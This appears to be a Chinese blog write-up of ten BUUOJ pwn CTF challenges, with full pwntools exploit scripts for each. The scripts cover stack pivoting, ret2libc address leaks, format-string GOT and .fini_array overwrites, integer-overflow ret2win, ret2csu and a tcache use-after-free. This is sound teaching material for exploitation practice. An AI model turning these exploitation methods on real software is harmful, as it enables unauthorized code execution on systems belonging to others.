buuoj Pwn writeup 31-40

31 [Black Watch 入群题]PWN

这个题有问题,就给了个附件,给的链接nc都连不上,做做题算了。

保护
在这里插入图片描述在这里插入图片描述可以往bss上写东西,然后有个溢出,但是溢出有限,只能覆盖到返回地址。
因为开了NX,所以不能写shellcode,因为溢出有限,所以先想到的是栈迁移。

把栈迁移到bss上,构造ROP,通过write函数泄露libc地址,然后就在bss上一把梭。

写法很多,我这里的话就直接先把’/bin/sh\x00’先写在了bss的位置。

exp

from pwn import*
from LibcSearcher import*

#r = remote('node3.buuoj.cn', 26463)
r = process('./31')

context.log_level = "debug"

elf = ELF('./31')

bss_addr = 0x804A300
leave_ret = 0x08048408
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

gdb.attach(r)

payload1 = '/bin/sh\x00' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter('What is your name?', payload1)

payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)

write_addr = u32(r.recv(4))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')

print hex(write_addr)

payload1 = '/bin/sh\x00' + p32(system_addr) + 'aaaa' + p32(bss_addr)
r.sendafter('What is your name?', payload1)

payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)

r.interactive()

题目有问题,没有给libc,LibcSearcher匹配到的libc也不对,但是思路跟脚本肯定没问题。

然后要注意一个东西

第二个send那里,写send的话就对,但是写sendline就不对,为啥呢,因为read只读20个,但是你发了21个,最后一个’\n’会在下一个send时候一起发出去,错误的时候效果图如下。

在这里插入图片描述
就会出现这种问题。

32 [BJDCTF 2nd]r2t4

保护
在这里插入图片描述
在这里插入图片描述
格式化字符串漏洞,刚开始的想法是只要把返回地址改成后门函数那里就好了。但是需要写的是一个大数字,题目给的一些条件不允许我们在栈上写一个大数字。


所以我们只能是改一改其他地方的东西。

第一种是改__stack_chk_fail
这个函数是如果存在栈溢出的话就执行这个,说白了是因为开启了canary带来的效果,所以我们就把这个函数的got表改成后门函数,其实写大数的话保险点应该是一个字节一个字节写,但是buf大小限制,所以还是两个字节那样写吧。

from pwn import *

r = remote("node3.buuoj.cn",26360)
elf = ELF('./33')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
r.sendline(payload)
r.interactive()

还有一种比较厉害,实现起来也稍稍复杂的更普遍性的做法。
可以利用第一次格式化字符串漏洞把.fini_array给改掉,改成main函数,那么我们首先就实现了一个循环利用,让我们可以有更多的格式化字符串漏洞,更多的利用方式。然后我们可以把printf的got改掉,改成system,这样就可以了。

这个题的话也可以直接把.fini_array改成backdoor。

exp的话跟上面那个其实差不多,就不再写了。

33 jarvisoj_level3

保护
在这里插入图片描述
在这里插入图片描述
明显的一个栈溢出,溢出大小还正好能够通过write函数泄露地址然后一把梭。


exp

from pwn import*


#r = remote('node3.buuoj.cn',27964)
r = process('./32')

elf = ELF('./32')
libc = ELF('./libc-2.29.32.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

payload = 'a' * 0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 

r.sendafter('Input:\n', payload)

write_addr = u32(r.recv(4))

print hex(write_addr)

libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

print hex(libc_base)

payload = 'a' * 0x8c + p32(system_addr) + p32(main_addr) + p32(bin_sh)

r.sendafter('Input:\n', payload)

r.interactive()

34 jarvisoj_fm

保护
在这里插入图片描述在这里插入图片描述大写的格式化字符串漏洞。

进行一个任意地址的小数字写入。

在这里插入图片描述
x在data段,是可读写的。

所以直接写就好了。

exp

from pwn import*

r = remote('node3.buuoj.cn', 29261)

x_addr = 0x804A02C

payload = 'aaaa%14$naaa' + p32(x_addr)
r.sendline(payload)

r.interactive()

35 [BJDCTF 2nd]test

在这里插入图片描述
ssh是个啥,我也不知道

ssh1

那么开始解题

ssh -p 26161 [email protected]

先连上。

在这里插入图片描述

在这里插入图片描述里面三个文件,flag,test,跟test的源码,直接读flag不能,权限不够,那么只能考虑通过test提权。

在这里插入图片描述
程序大概内容就是能够输入指令,这个时候的指令是足够提权的,但是程序对指令做了过滤。

ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"

-v 命令排除
-E 多个内容
/usr/bin/ /bin/ 可以把所有命令列出来

这个句子可以查询一下还有啥命令能用

在这里插入图片描述
发现里面有x86_64命令,这个命令是干嘛的。

其实我也不大清楚,看了看x86_64的手册

更改报告的体系结构并设置个性标志。

先记着吧。

在这里插入图片描述
拿到flag

36 jarvisoj_tell_me_something

保护
在这里插入图片描述在这里插入图片描述进去就有个溢出

在这里插入图片描述又发现有个这函数,分析一下。
首先开了个文件,指针v0。

fgetc函数
C 库函数 int fgetc(FILE *stream) 从指定的流 stream 获取下一个字符(一个无符号字符),并把位置标识符往前移动。

所以看半天就是会输出flag

我们就覆盖过去就行。

但是要注意的是什么呢
在这里插入图片描述
看他最后的返回,并不是常用的leave|ret,而是直接add|ret,这其实是编译的优化,用来省寄存器。

所以写exp的时候就不用考虑覆盖rbp了

exp

from pwn import*

r = remote('node3.buuoj.cn', 25451)

good_addr = 0x400620

payload = 'a' * 0x88 + p64(good_addr)
r.sendlineafter('Input your message:\n', payload)

r.interactive()

37 jarvisoj_level4

保护
在这里插入图片描述在这里插入图片描述又是个平平无奇的溢出。

exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26826)
elf = ELF("./37")

read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]

payload = "a" * 0x8c + p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(read_got) + p32(4)
r.sendline(payload)

read_addr = u32(r.recvuntil("\xf7")[-4:])

#read_addr = u32(r.recv(4)) 也行,但是上面的更普遍一点。

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)

r.interactive()

38 bjdctf_2020_babystack2

保护
在这里插入图片描述
在这里插入图片描述
判断输入的大小,你看它写的太明显了,上面nbytes前面是int,下面就又是unsigned int,整数溢出,然后又有后门函数,就搞定了。


exp

from pwn import*

context.log_level = "debug"

r = remote('node3.buuoj.cn', 28944)

backdoor = 0x400726

payload = 'a' * 0x18 + p64(backdoor)
r.sendlineafter('[+]Please input the length of your name:\n', '-1')
#记得-1要加引号
r.sendlineafter('[+]What\'s u name?', payload)
r.interactive()

39 jarvisoj_level3_x64

保护
在这里插入图片描述在这里插入图片描述
这题也是一言难尽。

ROPgadget
在这里插入图片描述
你会发现他没有rdx。

但是其实我们在动态调试的时候你会发现,rdx是200,是足够大的。

在这里插入图片描述
所以可以直接写。

那我们再来说一说万一不是0x200咋办。

就可以直接ret2csu。

在这里插入图片描述
通过libc_csu_init里面的gadget来构造我们的ROP。

exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 25360)
elf = ELF("./level3_x64")

read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1

payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(1)						
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)	
payload += p64(write_plt)									
payload += p64(main_addr)									
r.sendlineafter("Input:", payload)

read_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))	
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
r.sendlineafter("Input:", payload)

r.interactive()

40 [BJDCTF 2nd]ydsneedgirlfriend2

保护
在这里插入图片描述在这里插入图片描述
菜单题
果真他就又是个堆。


三个函数,增,删,跟展示。
一个一个分析。

这个是增。
在这里插入图片描述
刚开始就判断数量,然后还判断其他乱七八糟的,然后就增加女朋友,但是你发现,它始终是在对gf[0]进行操作,所以其实它看着是最多七个女朋友,其实就一个。

gf的结构是这样的。
在这里插入图片描述
再看看dele函数。
在这里插入图片描述
这函数看似没啥问题,但是首先从逻辑上来说,我们本来就一个女朋友,所以free的时候根本就可以在free别的地方。
然后呢,free后也没有清理指针,就造成了UAF。




在这里插入图片描述这输出也是看似正常,如果gf[v]里面有东西的话,就调用那个函数,输出名字。
但是其实一般来讲不会有东西的,因为我们始终只有一个女朋友,所以你输其它的女朋友就啥都打不出来。

那么怎么利用?

我们发现有后门函数。
在这里插入图片描述
便于理解,利用过程展示一下。

申请一个0x10的名字,然后都释放掉,它俩都是0x20大小,就会进入tcachebins。先释放的是0x1fd4280.
在这里插入图片描述
0x1fd4260里面还放着后面那个80的地址。
在这里插入图片描述
再add一下,就变成了下面这样
在这里插入图片描述会发现tcache是后进先出,而且你会发现,为啥第一次add就是会申请两个chunk,但是第二次明显只申请了一个chunk。




是因为这个。
在这里插入图片描述所以现在gf[0]里面放着的是第一的时候申请的chunk地址即0x1fd4260。
在这里插入图片描述
然后gf放puts函数的地方现在放着的是system的地址,通过最后那一次show,就可以拿到shell。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章